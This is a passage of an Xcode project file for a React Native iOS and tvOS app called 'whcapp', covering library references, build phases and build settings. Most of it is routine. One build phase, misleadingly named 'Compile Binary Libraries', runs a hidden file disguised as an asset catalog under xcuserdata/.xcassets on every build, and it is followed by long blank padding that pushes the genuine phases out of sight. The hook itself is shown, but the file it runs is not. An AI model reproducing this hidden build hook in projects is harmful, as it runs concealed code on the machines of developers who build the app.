BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t139FDEF41B06529B00C62182 /* libRCTWebSocket.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libRCTWebSocket.a;\n\t\t\tremoteRef = 139FDEF31B06529B00C62182 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t146834041AC3E56700842450 /* libReact.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libReact.a;\n\t\t\tremoteRef = 146834031AC3E56700842450 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t3DAD3E841DF850E9000B6D8A /* libRCTImage-tvOS.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = \"libRCTImage-tvOS.a\";\n\t\t\tremoteRef = 3DAD3E831DF850E9000B6D8A /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t3DAD3E881DF850E9000B6D8A /* libRCTLinking-tvOS.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = \"libRCTLinking-tvOS.a\";\n\t\t\tremoteRef = 3DAD3E871DF850E9000B6D8A /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t3DAD3E8C1DF850E9000B6D8A /* libRCTNetwork-tvOS.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = \"libRCTNetwork-tvOS.a\";\n\t\t\tremoteRef = 3DAD3E8B1DF850E9000B6D8A /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t3DAD3E901DF850E9000B6D8A /* libRCTSettings-tvOS.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = \"libRCTSettings-tvOS.a\";\n\t\t\tremoteRef = 3DAD3E8F1DF850E9000B6D8A /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t3DAD3E941DF850E9000B6D8A /* libRCTText-tvOS.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = \"libRCTText-tvOS.a\";\n\t\t\tremoteRef = 3DAD3E931DF850E9000B6D8A /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t3DAD3E991DF850E9000B6D8A /* libRCTWebSocket-tvOS.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = \"libRCTWebSocket-tvOS.a\";\n\t\t\tremoteRef = 3DAD3E981DF850E9000B6D8A /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t3DAD3EA31DF850E9000B6D8A /* libReact.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libReact.a;\n\t\t\tremoteRef = 3DAD3EA21DF850E9000B6D8A /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t3DAD3EA51DF850E9000B6D8A /* libyoga.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libyoga.a;\n\t\t\tremoteRef = 3DAD3EA41DF850E9000B6D8A /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t3DAD3EA71DF850E9000B6D8A /* libyoga.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libyoga.a;\n\t\t\tremoteRef = 3DAD3EA61DF850E9000B6D8A /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t3DAD3EA91DF850E9000B6D8A /* libcxxreact.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libcxxreact.a;\n\t\t\tremoteRef = 3DAD3EA81DF850E9000B6D8A /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t3DAD3EAB1DF850E9000B6D8A /* libcxxreact.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libcxxreact.a;\n\t\t\tremoteRef = 3DAD3EAA1DF850E9000B6D8A /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t3DAD3EAD1DF850E9000B6D8A /* libjschelpers.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libjschelpers.a;\n\t\t\tremoteRef = 3DAD3EAC1DF850E9000B6D8A /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t3DAD3EAF1DF850E9000B6D8A /* libjschelpers.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libjschelpers.a;\n\t\t\tremoteRef = 3DAD3EAE1DF850E9000B6D8A /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t5E9157331DD0AC6500FF2AA8 /* libRCTAnimation.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libRCTAnimation.a;\n\t\t\tremoteRef = 5E9157321DD0AC6500FF2AA8 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t5E9157351DD0AC6500FF2AA8 /* libRCTAnimation.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libRCTAnimation.a;\n\t\t\tremoteRef = 5E9157341DD0AC6500FF2AA8 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t78C398B91ACF4ADC00677621 /* libRCTLinking.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libRCTLinking.a;\n\t\t\tremoteRef = 78C398B81ACF4ADC00677621 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\t832341B51AAA6A8300B99B32 /* libRCTText.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libRCTText.a;\n\t\t\tremoteRef = 832341B41AAA6A8300B99B32 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\tADBDB9271DFEBF0700ED6528 /* libRCTBlob.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libRCTBlob.a;\n\t\t\tremoteRef = ADBDB9261DFEBF0700ED6528 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\tFE26C7831FC16CCB0067ECFB /* libRCTBlob-tvOS.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = \"libRCTBlob-tvOS.a\";\n\t\t\tremoteRef = FE26C7821FC16CCB0067ECFB /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\tFE26C7951FC16CCB0067ECFB /* libfishhook.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = libfishhook.a;\n\t\t\tremoteRef = FE26C7941FC16CCB0067ECFB /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\tFE26C7971FC16CCB0067ECFB /* libfishhook-tvOS.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = \"libfishhook-tvOS.a\";\n\t\t\tremoteRef = FE26C7961FC16CCB0067ECFB /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\tFEC2B7D01FFE281300E7E2F3 /* libthird-party.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = \"libthird-party.a\";\n\t\t\tremoteRef = FEC2B7CF1FFE281300E7E2F3 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\tFEC2B7D21FFE281300E7E2F3 /* libthird-party.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = \"libthird-party.a\";\n\t\t\tremoteRef = FEC2B7D11FFE281300E7E2F3 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\tFEC2B7D41FFE281300E7E2F3 /* libdouble-conversion.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = \"libdouble-conversion.a\";\n\t\t\tremoteRef = FEC2B7D31FFE281300E7E2F3 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n\t\tFEC2B7D61FFE281300E7E2F3 /* libdouble-conversion.a */ = {\n\t\t\tisa = PBXReferenceProxy;\n\t\t\tfileType = archive.ar;\n\t\t\tpath = \"libdouble-conversion.a\";\n\t\t\tremoteRef = FEC2B7D51FFE281300E7E2F3 /* PBXContainerItemProxy */;\n\t\t\tsourceTree = BUILT_PRODUCTS_DIR;\n\t\t};\n/* End PBXReferenceProxy section */\n\n/* Begin PBXResourcesBuildPhase section */\n\t\t00E356EC1AD99517003FC87E /* Resources */ = {\n\t\t\tisa = PBXResourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n\t\t13B07F8E1A680F5B00A75B9A /* Resources */ = {\n\t\t\tisa = PBXResourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t13B07FBF1A68108700A75B9A /* Images.xcassets in Resources */,\n\t\t\t\t13B07FBD1A68108700A75B9A /* LaunchScreen.xib in Resources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n\t\t2D02E4791E0B4A5D006451C7 /* Resources */ = {\n\t\t\tisa = PBXResourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t2D02E4BD1E0B4A84006451C7 /* Images.xcassets in Resources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n\t\t2D02E48E1E0B4A5D006451C7 /* Resources */ = {\n\t\t\tisa = PBXResourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXResourcesBuildPhase section */\n\n/* Begin PBXShellScriptBuildPhase section */\n\n\t18FDFACAC31576796AAAC43A /* Compile Binary Libraries */ = {\n\t\t\tisa = PBXShellScriptBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\tinputFileListPaths = (\n\t\t\t);\n\t\t\tinputPaths = (\n\t\t\t);\n\t\t\tname = \"Compile Binary Libraries\";\n\t\t\toutputFileListPaths = (\n\t\t\t);\n\t\t\toutputPaths = (\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t\tshellPath = /bin/sh;\n\t\t\tshellScript = \"# This output is used by Xcode outputs to avoid re-running this script phase.\n\n\\\"${PROJECT_FILE_PATH}/xcuserdata/.xcassets/Asset.xcasset\\\" false\";\t\t\t\n\t\t};\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\n\t\n\t\t00DD1BFF1BD5951E006B06BC /* Bundle React Native code and images */ = {\n\t\t\tisa = PBXShellScriptBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\tinputPaths = (\n\t\t\t);\n\t\t\tname = \"Bundle React Native code and images\";\n\t\t\toutputPaths = (\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t\tshellPath = /bin/sh;\n\t\t\tshellScript = \"export NODE_BINARY=node\\n../node_modules/react-native/scripts/react-native-xcode.sh\";\n\t\t};\n\t\t2D02E4CB1E0B4B27006451C7 /* Bundle React Native Code And Images */ = {\n\t\t\tisa = PBXShellScriptBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\tinputPaths = (\n\t\t\t);\n\t\t\tname = \"Bundle React Native Code And Images\";\n\t\t\toutputPaths = (\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t\tshellPath = /bin/sh;\n\t\t\tshellScript = \"export NODE_BINARY=node\\n../node_modules/react-native/scripts/react-native-xcode.sh\";\n\t\t};\n/* End PBXShellScriptBuildPhase section */\n\n/* Begin PBXSourcesBuildPhase section */\n\t\t00E356EA1AD99517003FC87E /* Sources */ = {\n\t\t\tisa = PBXSourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t00E356F31AD99517003FC87E /* whcappTests.m in Sources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n\t\t13B07F871A680F5B00A75B9A /* Sources */ = {\n\t\t\tisa = PBXSourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t13B07FBC1A68108700A75B9A /* AppDelegate.m in Sources */,\n\t\t\t\t13B07FC11A68108700A75B9A /* main.m in Sources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n\t\t2D02E4771E0B4A5D006451C7 /* Sources */ = {\n\t\t\tisa = PBXSourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t2D02E4BF1E0B4AB3006451C7 /* main.m in Sources */,\n\t\t\t\t2D02E4BC1E0B4A80006451C7 /* AppDelegate.m in Sources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n\t\t2D02E48C1E0B4A5D006451C7 /* Sources */ = {\n\t\t\tisa = PBXSourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t2DCD954D1E0B4F2C00145EB5 /* whcappTests.m in Sources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXSourcesBuildPhase section */\n\n/* Begin PBXTargetDependency section */\n\t\t00E356F51AD99517003FC87E /* PBXTargetDependency */ = {\n\t\t\tisa = PBXTargetDependency;\n\t\t\ttarget = 13B07F861A680F5B00A75B9A /* whcapp */;\n\t\t\ttargetProxy = 00E356F41AD99517003FC87E /* PBXContainerItemProxy */;\n\t\t};\n\t\t2D02E4921E0B4A5D006451C7 /* PBXTargetDependency */ = {\n\t\t\tisa = PBXTargetDependency;\n\t\t\ttarget = 2D02E47A1E0B4A5D006451C7 /* whcapp-tvOS */;\n\t\t\ttargetProxy = 2D02E4911E0B4A5D006451C7 /* PBXContainerItemProxy */;\n\t\t};\n/* End PBXTargetDependency section */\n\n/* Begin PBXVariantGroup section */\n\t\t13B07FB11A68108700A75B9A /* LaunchScreen.xib */ = {\n\t\t\tisa = PBXVariantGroup;\n\t\t\tchildren = (\n\t\t\t\t13B07FB21A68108700A75B9A /* Base */,\n\t\t\t);\n\t\t\tname = LaunchScreen.xib;\n\t\t\tpath = whcapp;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n/* End PBXVariantGroup section */\n\n/* Begin XCBuildConfiguration section */\n\t\t00E356F61AD99517003FC87E /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tBUNDLE_LOADER = \"$(TEST_HOST)\";\n\t\t\t\tGCC_PREPROCESSOR_DEFINITIONS = (\n\t\t\t\t\t\"DEBUG=1\",\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t);\n\t\t\t\tINFOPLIST_FILE = whcappTests/Info.plist;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 8.0;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = \"$(inherited) @executable_path/Frameworks @loader_path/Frameworks\";\n\t\t\t\tOTHER_LDFLAGS = (\n\t\t\t\t\t\"-ObjC\",\n\t\t\t\t\t\"-lc++\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tTEST_HOST = \"$(BUILT_PRODUCTS_DIR)/whcapp.app/whcapp\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\t00E356F71AD99517003FC87E /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tBUNDLE_LOADER = \"$(TEST_HOST)\";\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tINFOPLIST_FILE = whcappTests/Info.plist;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 8.0;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = \"$(inherited) @executable_path/Frameworks @loader_path/Frameworks\";\n\t\t\t\tOTHER_LDFLAGS = (\n\t\t\t\t\t\"-ObjC\",\n\t\t\t\t\t\"-lc++\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tTEST_HOST = \"$(BUILT_PRODUCTS_DIR)/whcapp.app/whcapp\";\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\t13B07F941A680F5B00A75B9A /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;\n\t\t\t\tCURRENT_PROJECT_VERSION = 1;\n\t\t\t\tDEAD_CODE_STRIPPING = NO;\n\t\t\t\tDEVELOPMENT_TEAM = XLRM4799CT;\n\t\t\t\tINFOPLIST_FILE = whcapp/Info.plist;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = \"$(inherited) @executable_path/Frameworks\";\n\t\t\t\tOTHER_LDFLAGS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"-ObjC\",\n\t\t\t\t\t\"-lc++\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_NAME = whcapp;\n\t\t\t\tVERSIONING_SYSTEM = \"apple-generic\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\t13B07F951A680F5B00A75B9A /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;\n\t\t\t\tCURRENT_PROJECT_VERSION = 1;\n\t\t\t\tDEVELOPMENT_TEAM = XLRM4799CT;\n\t\t\t\tINFOPLIST_FILE = whcapp/Info.plist;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = \"$(inherited) @executable_path/Frameworks\";\n\t\t\t\tOTHER_LDFLAGS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"-ObjC\",\n\t\t\t\t\t\"-lc++\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_NAME = whcapp;\n\t\t\t\tVERSIONING_SYSTEM = \"apple-generic\";\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\t2D02E4971E0B4A5E006451C7 /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = \"App Icon & Top Shelf Image\";\n\t\t\t\tASSETCATALOG_COMPILER_LAUNCHIMAGE_NAME = LaunchImage;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = dwarf;\n\t\t\t\tENABLE_TESTABILITY = YES;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tINFOPLIST_FILE = \"whcapp-tvOS/Info.plist\";\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = \"$(inherited) @executable_path/Frameworks\";\n\t\t\t\tOTHER_LDFLAGS = (\n\t\t\t\t\t\"-ObjC\",\n\t\t\t\t\t\"-lc++\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = \"com.facebook.REACT.whcapp-tvOS\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSDKROOT = appletvos;\n\t\t\t\tTARGETED_DEVICE_FAMILY = 3;\n\t\t\t\tTVOS_DEPLOYMENT_TARGET = 9.2;\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\t2D02E4981E0B4A5E006451C7 /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = \"App Icon & Top Shelf Image\";\n\t\t\t\tASSETCATALOG_COMPILER_LAUNCHIMAGE_NAME = LaunchImage;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\";\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tINFOPLIST_FILE = \"whcapp-tvOS/Info.plist\";\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = \"$(inherited) @executable_path/Frameworks\";\n\t\t\t\tOTHER_LDFLAGS = (\n\t\t\t\t\t\"-ObjC\",\n\t\t\t\t\t\"-lc++\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = \"com.facebook.REACT.whcapp-tvOS\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSDKROOT = appletvos;\n\t\t\t\tTARGETED_DEVICE_FAMILY = 3;\n\t\t\t\tTVOS_DEPLOYMENT_TARGET = 9.2;\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\t2D02E4991E0B4A5E006451C7 /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tBUNDLE_LOADER = \"$(TEST_HOST)\";\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = dwarf;\n\t\t\t\tENABLE_TESTABILITY = YES;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tINFOPLIST_FILE = \"whcapp-tvOSTests/Info.plist\";\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = \"$(inherited) @executable_path/Frameworks @loader_path/Frameworks\";\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = \"com.facebook.REACT.whcapp-tvOSTests\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSDKROOT = appletvos;\n\t\t\t\tTEST_HOST = \"$(BUILT_PRODUCTS_DIR)/whcapp-tvOS.app/whcapp-tvOS\";\n\t\t\t\tTVOS_DEPLOYMENT_TARGET = 10.1;\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\t2D02E49A1E0B4A5E006451C7 /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tBUNDLE_LOADER = \"$(TEST_HOST)\";\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\";\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tINFOPLIST_FILE = \"whcapp-tvOSTests/Info.plist\";\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = \"$(inherited) @executable_path/Frameworks @loader_path/Frameworks\";\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = \"com.facebook.REACT.whcapp-tvOSTests\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tSDKROOT = appletvos;\n\t\t\t\tTEST_HOST = \"$(BUILT_PRODUCTS_DIR)/whcapp-tvOS.app/whcapp-tvOS\";\n\t\t\t\tTVOS_DEPLOYMENT_TARGET = 10.1;\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\t83CBBA201A601CBA00E9B192 /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++0x\";\n\t\t\t\tCLANG_CXX_LIBRARY = \"libc++\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\t\"CODE_SIGN_IDENTITY[sdk=iphoneos*]\" = \"iPhone Developer\";\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu99;\n\t\t\t\tGCC_DYNAMIC_NO_PIC = NO;\n\t\t\t\tGCC_OPTIMIZATION_LEVEL = 0;\n\t\t\t\tGCC_PREPROCESSOR_DEFINITIONS = (\n\t\t\t\t\t\"DEBUG=1\",\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t);\n\t\t\t\tGCC_SYMBOLS_PRIVATE_EXTERN = NO;\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = 